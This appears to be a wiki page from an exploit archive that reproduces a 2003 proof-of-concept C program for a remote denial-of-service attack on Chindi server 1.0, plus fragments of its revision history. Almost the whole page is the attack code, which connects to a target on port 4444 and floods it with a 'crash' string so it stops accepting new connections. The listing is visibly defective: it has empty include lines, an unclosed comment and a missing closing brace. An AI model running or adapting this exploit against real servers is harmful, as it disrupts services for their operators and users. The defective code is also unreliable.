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 /*************************************************** * Chindi server 1.0  Denial of Service * Proof of Concept by Luca Ercoli  luca.ercoli at inwind.it * After D..."

2021-05-03T12:30:46Z

Created page with "==EXP== <pre> /*************************************************** * Chindi server 1.0 Denial of Service * Proof of Concept by Luca Ercoli luca.ercoli at inwind.it * After D..."

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==EXP==
<pre>
/***************************************************
* Chindi server 1.0 Denial of Service
* Proof of Concept by Luca Ercoli luca.ercoli at inwind.it
* After DoS, server appears to be up, but will not allow
* new connections.
****************************************************

#include
#include
#include
#include
#include

#define PORT 4444
#define DOS "crash"

int main(int argc, char *argv[]){

int nOpt,count,sockfd;
struct hostent *he;
struct sockaddr_in server_addr;

char *host;

printf ("\nChindi server 1.0 remote DoS\n\n");

if(argc < 2 ) {
printf ("Usage: %s -t target\n",argv[0]);
exit(0);
}

while((nOpt = getopt(argc, argv, "t")) != -1) {

switch(nOpt) {
case 't':
host = optarg;
break;
default:exit(0);
}
}

if ((he = gethostbyname(argv[2])) == NULL)
{
herror("gethostbyname");
exit(1);
}

server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
server_addr.sin_addr = *((struct in_addr *) he->h_addr);

sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (connect (sockfd, (struct sockaddr *) &server_addr,sizeof(struct
sockaddr)) == -1)
{
perror("Connect");
exit(1);
}

printf("1. Connected\n");
sleep(1);
printf("2. Sending crash string\n");
sleep(1);
printf("3. Verifing server status: ");
sleep(1);

for (count=0; count<9999; count++) send(sockfd,DOS,strlen(DOS),0);

close(sockfd);

// milw0rm.com [2003-04-18]

</pre>

Chindi Server 1.0 拒絕服務漏洞 - Revision history

Pwnwiki: Created page with "==EXP==
/*************************************************** * Chindi server 1.0 Denial of Service * Proof of Concept by Luca Ercoli luca.ercoli at inwind.it * After D..."